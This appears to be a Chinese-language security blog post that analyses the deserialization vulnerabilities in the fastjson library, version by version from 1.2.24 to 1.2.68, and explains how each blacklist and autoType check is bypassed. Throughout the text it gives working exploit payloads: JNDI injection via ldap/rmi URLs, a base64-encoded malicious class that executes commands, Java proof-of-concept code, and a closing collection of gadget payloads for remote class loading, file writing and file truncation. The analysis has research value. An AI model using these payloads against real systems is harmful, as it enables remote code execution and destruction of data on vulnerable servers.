fastjson

##简介

​ fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。由于其特点是快,以性能为优势快速占领了大量用户,并且其 API 十分简洁

特点

  • 不需要实现Serializable接口

  • 变量不需要不是transient,变量有对应的setter或者是public或者满足条件的getter

  • sink 反射,动态类加载

  • 版本限制,依赖限制,出网

原理

JSON.toJSONString(),JSON.toJSONString(Object, SerializerFeature.WriteClassName);

将对象转换为json格式的字符串。

  • JSON.toJSONString():普通转换
  • JSON.toJSONString(Object, SerializerFeature.WriteClassName):其会将对象类型一起序列化并且会写入到@type字段中

image-20230412204321465

JSON.parse(),JSON.parseObject() , JSON.parseObject(Srting,Class)

将json格式的字符串转换为对象。

  • parse会转换为@type指定的类,用parse反序列化时,调用set方法
  • parseObject会默认指定JSONObject类,parseObject反序列化时,调用了@type指定类的set和get方法
  • parseObject(Srting,Class)参数中加一个类参数则会转换为其指定的类(这里指定Object会自动转化为JSONObject),parseObject(Srting,Class)反序列化时,调用了@type指定类的set方法

简单分析下demo

这里直接搬用了Da22le师傅的测试用例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package com.example.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class demo {
public static void main(String[] args) {
User user = new User("张三",18,"game");


String s1 = JSON.toJSONString(user);
String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);

System.out.println(s1);
System.out.println(s2);
System.out.println("-----------------------------------------------------");
Object parse = JSON.parse(s2);
System.out.println(parse);
System.out.println(parse.getClass().getName());
System.out.println("-----------------------------------------------------");
Object parse1 = JSON.parseObject(s2);
System.out.println(parse1);
System.out.println(parse1.getClass().getName());
System.out.println("-----------------------------------------------------");
Object parse2 = JSON.parseObject(s2,Object.class);
System.out.println(parse2);
System.out.println(parse2.getClass().getName());
}
}
class User {
private String name;
private int age;
private String hobby;

public User() {
}

public User(String name, int age, String hobby) {
this.name = name;
this.age = age;
this.hobby = hobby;
}

public String getName() {
System.out.println("调用了getName");
return name;
}

public void setName(String name) {
System.out.println("调用了setName");
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public String getHobby() {
return hobby;
}

public void setHobby(String hobby) {
this.hobby = hobby;
}

@Override
public String toString() {
return "user{" +
"name='" + name + '\'' +
", age=" + age +
", hobby='" + hobby + '\'' +
'}';
}
}

image-20230413103719561

调用set方法:(具体调用流程看调用栈)

image-20230413104435731

调用get方法:

paseObject中会调用toJSON方法,其中toJSON里调用了get方法,具体看调用栈

image-20230413105126432

@type作用?

com\alibaba\fastjson\parser\DefaultJSONParser.class中,获取到标识符@type赋给key

image-20230413114756649

判断key是否是@typeJSON.DEFAULT_TYPE_KEY就是常量@type。接着在获取paylaod中引号包裹的下一位,即是@type后面跟着的字符串 - 指定加载的类

image-20230413202831970

1.2.24

pom.xml

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

漏洞利用:

  • JdbcRowSetImpl

  • TemplatesImpl

fastjon中存在两条利用链

JdbcRowSetImpl

JdbcRowSetImpl#setAutoCommit中,setAutoCommit方法里调用了connect()方法,而在connect方法中可以调用lookup方法,即存在jndi注入漏洞

1
JdbcRowSetImpl#setAutoCommit -> connect -> lookup

image-20230413223739395

image-20230413211802540

JdbcRowSetImpl利用链测试demo

1
2
3
4
5
6
7
8
9
10
11
package com.example.fastjson;

import com.sun.rowset.JdbcRowSetImpl;

public class lookupDemo {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/mymwv2");
jdbcRowSet.setAutoCommit(true);
}
}

paylaod:

1
JSON.parse("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ckb7j7\",\"autoCommit\":true}");

###TemplatesImpl

fastjosn存在下例特性:

  • 如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数

  • fastjson 在为类属性寻找getter/setter方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略_ -字符串

  • fastjson 在反序列化时,如果Field类型为byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,在序列化时也会进行base64编码

先来看一下TemplatesImplgetOutputProperties方法,它是_outputProperties的getter方法,

getOutputProperties中调用了newTransformer方法,跟进,跟进该方法

image-20230414143957996

image-20230414144205877

newTransformerImpl对象时会进入到getTransletInstance()中,在getTransletInstance方法中判断了_name_class是否为空,如果_name!=null&&_class=null则会调用到defineTransletClasses()。在defineTransletClasses()中,通过for循环加载_bytecodes[]来加载类,其中_tfactory不为null,并且因为加载完类后会强制类型转换为AbstractTranslet,也就是说加载的类必须为AbstractTranslet的子类。

image-20230414144902921

接下来会实例化_class[_transletIndex]并强制转为AbstractTranslet类型,其中_transletIndex=-1即实例化数组_class的第一位

image-20230414144426335

还有一点就是,利用到的所有变量都为private,在反序列化的时候需要加上Feature.SupportNonPublicField参数

到这里就找到了整条利用链,总结下条件:

  • fastjson反序列化时需有Feature.SupportNonPublicField参数
  • _bytecodes[]需进行base64编码
  • _bytecodes[]中加载的类需为AbstractTranslet的子类
  • _name != null
  • _tfactory != null

测试:恶意类EvilClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class EvilClass extends AbstractTranslet {
public EvilClass() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException{

}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{

}
public static void main(String[] args) throws Exception{
EvilClass evilClass = new EvilClass();
}

}

base64编码后json.prase解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.example.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.Serializable;
import java.util.Base64;

public class test implements Serializable {
public static void main(String[] args){
byte[] bytes = null;

String path = "E:\\java_file\\JNDI\\Fastjson\\src\\main\\java\\com\\example\\fastjson\\EvilClass.class";
try{
FileInputStream fis = new FileInputStream(path);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while ((n = fis.read(b))!=-1){
bos.write(b,0,n);
}
fis.close();
bos.close();
bytes = bos.toByteArray();

}catch (Exception e){
e.printStackTrace();
}
String bytecode = Base64.getEncoder().encodeToString(bytes);
String payload = String.format("{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\":[\"%s\"], '_name':'c.c', '_tfactory':{ },\"_outputProperties\":{}, \"_name\":\"a\", \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}",bytecode);
System.out.println(payload);
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}

payload:

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAgACQcAIQwAIgAjAQAIY2FsYy5leGUMACQAJQEAHmNvbS9leGFtcGxlL2Zhc3Rqc29uL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAANAAQADgANAA8ADAAAAAQAAQANAAEADgAPAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAUAAwAAAAEAAEAEAABAA4AEQACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAFwAMAAAABAABABAACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGgAIABsADAAAAAQAAQAUAAEAFQAAAAIAFg=="], '_name':'c.c', '_tfactory':{ },"_outputProperties":{}}

1.2.25-1.2.41

修复了之前版本的漏洞,但是采取黑名单的方式来修改的,存在绕过方式

运行之前1.2.24的paylaod报错:

image-20230415181330774

autoType is not support,来看看这个checkAutoType干了什么:

  • 检测autoTypeSupport

image-20230416161618060

  • 黑名单denyList检测
1
this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

image-20230416161600763

  • 指定类格式检测:L&;

最后如果autoTypeSupport开启的情况下,进入loadclass.对@type指定类的格式进行了检测。这也很好绕过,添加L&;

image-20230416162100347

image-20230416161907677

最终paylaod:

1
{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ckb7j7\",\"autoCommit\":true}
1
{"@type":"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;", "_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAgACQcAIQwAIgAjAQAIY2FsYy5leGUMACQAJQEAHmNvbS9leGFtcGxlL2Zhc3Rqc29uL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAANAAQADgANAA8ADAAAAAQAAQANAAEADgAPAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAUAAwAAAAEAAEAEAABAA4AEQACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAFwAMAAAABAABABAACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGgAIABsADAAAAAQAAQAUAAEAFQAAAAIAFg=="], '_name':'c.c', '_tfactory':{ },"_outputProperties":{}}

问:测试的时候我们是手动改的AutoTypeSupport = true,实际情况中默认为flase怎么打呢

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

1.2.42

把1.2.25的paylaod运行下,报错,依旧是checkAutoType的原因:

checkautotype中,添加了一串看不懂的,debug看看变化了什么

image-20230416164551526

image-20230416164427064

我们传入的Lcom.sun.rowset.JdbcRowSetImpl;被转换成了com.sun.rowset.JdbcRowSetImpl。这段代码这作用是使用hashcode对字符串进行了L&;包裹的内容截取

过了这两个才能进入loadClass,loadClass和之前版本一样。所以我们要使得我们传入loadclass的是L&;包裹的。由此绕过方式就直接在1.2.25的基础上,再套一次L&;。这就能够绕过,最后调用 TypeUtils.loadClass

image-20230416172249217

1
2
Arrays.binarySearch(this.acceptHashCodes, hash) >= 0
//Arrays.binarySearch()方法是Java中的一个工具方法,它用于在一个已经排序好的数组中搜索指定的元素,存在返回返回搜索元素的索引位置,不存在返回一个负数

对上面hash的解释 - from su18

image-20230416171751071

1.2.43

跑一遍1.2.42的paylaod,报错,又在checkAutoType这里抛出了异常

image-20230416214025828

这个表达式对对类名进行了检测,如果连续出现两个LL就会抛出异常

但是在loadclass里存在递归调用loadclass.针对 [ 进行了处理和递归,因此可以利用[来绕过

payload:

1
2
3
4
5
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"rmi://127.0.0.1:1099/6y0pej","autoCommit":true}

这里可以变动一下:
[,,,,{
[,{

1.2.44 - 结束字符串处理导致的黑名单绕过

跑一遍1.2.423的paylaod,报错,又双在checkAutoType这里抛出了异常

image-20230417000509352

他检测了我们传入的类,当第一个字符为[时抛出异常。

1
注:对过滤的理解:定义了特征值,用于被检测的字符串转成ascii码后进行了运算后比较,实际上就是过滤 [ ,这里这么写可能是用来混淆,前面的过滤也是一样的

由字符串处理导致的黑名单绕过也就告一段落了,但我感觉这修复得还是很草率(虽然我不知到能怎么绕)前几个版本都是哪出问题禁哪里,感觉修复的比较水(莫非开发大佬故意的,给搞安全的留口饭吃(狗头保命))

1.2.45

这个漏洞是因为存在其他组件利用导致的,需要导入mybatis的jar包。适用于<=1.2.45

黑名单中不存在org.apache.ibatis.datasource.jndi.JndiDataSourceFactory,可以直接利用

1
2
3
4
5
6
7
8
9
10
    <dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.45</version>
</dependency>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.0</version>
</dependency>

JndiDataSourceFactory中的setProperties方法存在lookup方法。满足set以及lookup这俩个条件,可以利用

image-20230417004053808

JndiDataSourceFactory类利用测试demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;

import java.util.Properties;

public class test {
public static void main(String[] args) throws Exception{
JndiDataSourceFactory jndiDataSourceFactory = new JndiDataSourceFactory();
Properties properties = new Properties();
properties.setProperty("data_source","ldap://127.0.0.1:1389/6y0pej");
jndiDataSourceFactory.setProperties(properties);

}
}

1
2
//payload
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:1389/6y0pej"}}

这个组件的存在导致了漏洞。那么要是又爆出了可利用的组件是不是又g了。过来了这么久应该有其他可利用组件吧(虽然我不知道)

1.2.47

影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
影响版本:1.2.33 <= fastjson <= 1.2.47

这个版本漏洞最为严重,1.2.25-1.2.45都是需要autoTypeSupport=true的,而他可以在不开启autoTypeSupport的情况下触发漏洞。

问题依旧出在checkAutoType

autoTypeSupport=true的时候会和1.2.44一样被检测抛出异常

image-20230417005356388

如果能够继续往下走到这的话,会从Mappingdeserializers中寻找类,如果存在则返回clazz

image-20230417005938662

ParserConfig类中,构造方法中调用了initDeserializers

1
2
3
4
5
ParserConfig(ASMDeserializerFactory asmFactory, ClassLoader parentClassLoader, boolean fieldBased){
''''
this.initDeserializers();
''''
}

initDeserializers会向deserializers中添加很多类,类似一种缓存。其中的 this.deserializers.put(Class.class, MiscCodec.instance);是可以利用的

image-20230417010630623

MiscCodec类中存在一个deserialze方法,这个方法中对传入的clazz进行了判断,如果是Class.class,那么就会调用TypeUtils.loadClass。这里就接到fastjson后半部分了。

image-20230417011019769

TypeUtils.loadClass中,如果cache为true则会将className放到mapping中,其中cache默认为true,className为传进来的strVal

strVal是由objVal强制转换来的,而objVal = parser.parse();,就是指定的com.sun.rowset.JdbcRowSetImpl对象,

image-20230417012419524

deserialze中检测了参数名称,必须为val

image-20230417013002094

所以需要在payload中添加上val参数

paylaod:

1
2
3
4
//payload:
"{\"k4\": {\"@type\": \"java.lang.Class\", \"val\": \"com.sun.rowset.JdbcRowSetImpl\"}, \"k3\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:1389/6y0pej\",\"autoCommit\": true}\"}"

//k4和k2这两个是可以随意修改的

问题:

1,怎么调用了ParserConfig类,从而存在后面的链子的?

parse中实例化了这个类

image-20230417015804670

2,怎么调用到MiscCodec.deserialze()的?

DefaultJSONParser.parseObject() 根据不同的 class 类型分配 deserialzer,Class 类型由 MiscCodec.deserialze() 处理

image-20230417015636524

1.2.47可参考su18✌的文章,分析得很清楚!https://su18.org/post/fastjson/#7-fastjson-1247

1.2.68

在 1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。—— form su18

在1.2.68中跟新了一个安全控制点safeMode,在com\alibaba\fastjson\1.2.68\fastjson-1.2.68.jar!\com\alibaba\fastjson\parser\Feature.class

checkAutoType中检测了safeMode,如果为ture,直接抛出异常

image-20230417021648981

但是概版本也爆出了一个新的autoType开关绕过方式:expectClass 绕过 checkAutoType()

checkAutoType() 函数中有这样的逻辑:当expectClass参数不为Null、且当前需要实例化的类型是expectClass的子类或实现时会将传入的类视为一个合法的类(此类不能在黑名单中),就可以通过 checkAutoType() 的安全检测。

期望类expcetClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}

其中Object,Serializable,Cloneable,Closeable,EventListener,Iterable,Collection这几个类不能作为期望类

所以我们只需要找到checkAutoType() 几个重载方法是否有可控的 expectClass:

  • JavaBeanDeserializer#deserialze()

在fastjson中对大部分类都指定了特定的deserializer,而AutoCloseable类没有,通过继承/实现AutoCloseable的类可以绕过autotype反序列化

image-20230417024621943

1
{"@type":"java.lang.AutoCloseable","@type": "com.example.fastjson.execCloseable","domain":"calc"}
  • ThrowableDeserializer#deserialze()

    deserialze() 方法直接将 @type后的类传入 checkAutoType() ,并且 expectClass 为 Throwable.class。通过 checkAutoType() 之后,将使用 createException 来创建异常类的实例,这就形成了 Throwable 子类绕过 checkAutoType() 的方式

image-20230417023905826

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//测试demo
import java.io.IOException;
public class execException extends Exception {
private String cmd;
public execException() {
super();
}
public String getCmd() {
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
}
@Override
public String getMessage() {
try {
Runtime.getRuntime().exec(new String[]{cmd});
} catch (IOException e) {
return e.getMessage();
}
return super.getMessage();
}
}

但是这个很鸡肋,命令执行是写在异常类处理中的,实际中少有开发者会这么写

1
{"@type":"java.lang.Exception","@type": "com.example.fastjson.execException","cmd":"calc"}

问题:添加expectClass的原因?

存在的原因应当是例如 com.cyx.A 为白名单, com.cyx.A 的构造方法中或setter中存在 com.cyx.B,那么要想实例化 com.cyx.A 则需要传入 com.cyx.B 对象,而 com.cyx.B 并不在白名单中,所以将其作为expectClass参数传入checkAutoType方法中检测该类是否合法,如果是 com.cyx.B 的子类或实现则视为合法的类。

payload

这些payload都是从su18师傅博客中搬过来的,还没有挨个测试过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
JdbcRowSetImpl

{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/Command8",
"autoCommit": true
}
TemplatesImpl

{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgA...k="],
'_name': 'su18',
'_tfactory': {},
"_outputProperties": {},
}
JndiDataSourceFactory

{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://127.0.0.1:23457/Command8"
}
}
SimpleJndiBeanFactory

{
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://127.0.0.1:23457/Command8",
"propertyPath": "su18",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
}
}
DefaultBeanFactoryPointcutAdvisor

{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
},
"adviceBeanName": "ldap://127.0.0.1:23457/Command8"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}
WrapperConnectionPoolDataSource

{
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
}
JndiRefForwardingDataSource

{
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"loginTimeout": 0
}
InetAddress

{
"@type": "java.net.InetAddress",
"val": "http://dnslog.com"
}
Inet6Address

{
"@type": "java.net.Inet6Address",
"val": "http://dnslog.com"
}
URL

{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}
JSONObject

{
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}
}
""
}
URLReader

{
"poc": {
"@type": "java.lang.AutoCloseable",
"@type": "com.alibaba.fastjson.JSONReader",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://127.0.0.1:9999"
}
}
}
AutoCloseable 任意文件写入

{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/path/to/target"
},
"parameters": {
"@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
"filename": "filecontent"
}
}
BasicDataSource

{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
"driverClassLoader" :
{
"@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
}
}
JndiConverter

{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://127.0.0.1:23457/Command8"
}
JtaTransactionConfig

{
"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties": {
"@type": "java.util.Properties",
"UserTransaction": "ldap://127.0.0.1:23457/Command8"
}
}
JndiObjectFactory

{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://127.0.0.1:23457/Command8"
}
AnterosDBCPConfig

{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}
AnterosDBCPConfig2

{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}
CacheJndiTmLookup

{
"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
"jndiNames": "ldap://127.0.0.1:23457/Command8"
}
AutoCloseable 清空指定文件

{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
}
AutoCloseable 清空指定文件

{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileWriter",
"file":"/tmp/nonexist",
"append":false
}
AutoCloseable 任意文件写入

{
"stream":
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
},
"writer":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.solr.common.util.FastOutputStream",
"tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
"sink":
{
"$ref":"$.stream"
},
"start":38
},
"close":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.iq80.snappy.SnappyOutputStream",
"out":
{
"$ref":"$.writer"
}
}
}
AutoCloseable MarshalOutputStream 任意文件写入

{
'@type': "java.lang.AutoCloseable",
'@type': 'sun.rmi.server.MarshalOutputStream',
'out': {
'@type': 'java.util.zip.InflaterOutputStream',
'out': {
'@type': 'java.io.FileOutputStream',
'file': 'dst',
'append': false
},
'infl': {
'input': {
'array': 'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
'limit': 22
}
},
'bufLen': 1048576
},
'protocolVersion': 1
}
BasicDataSource

{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName": "true",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
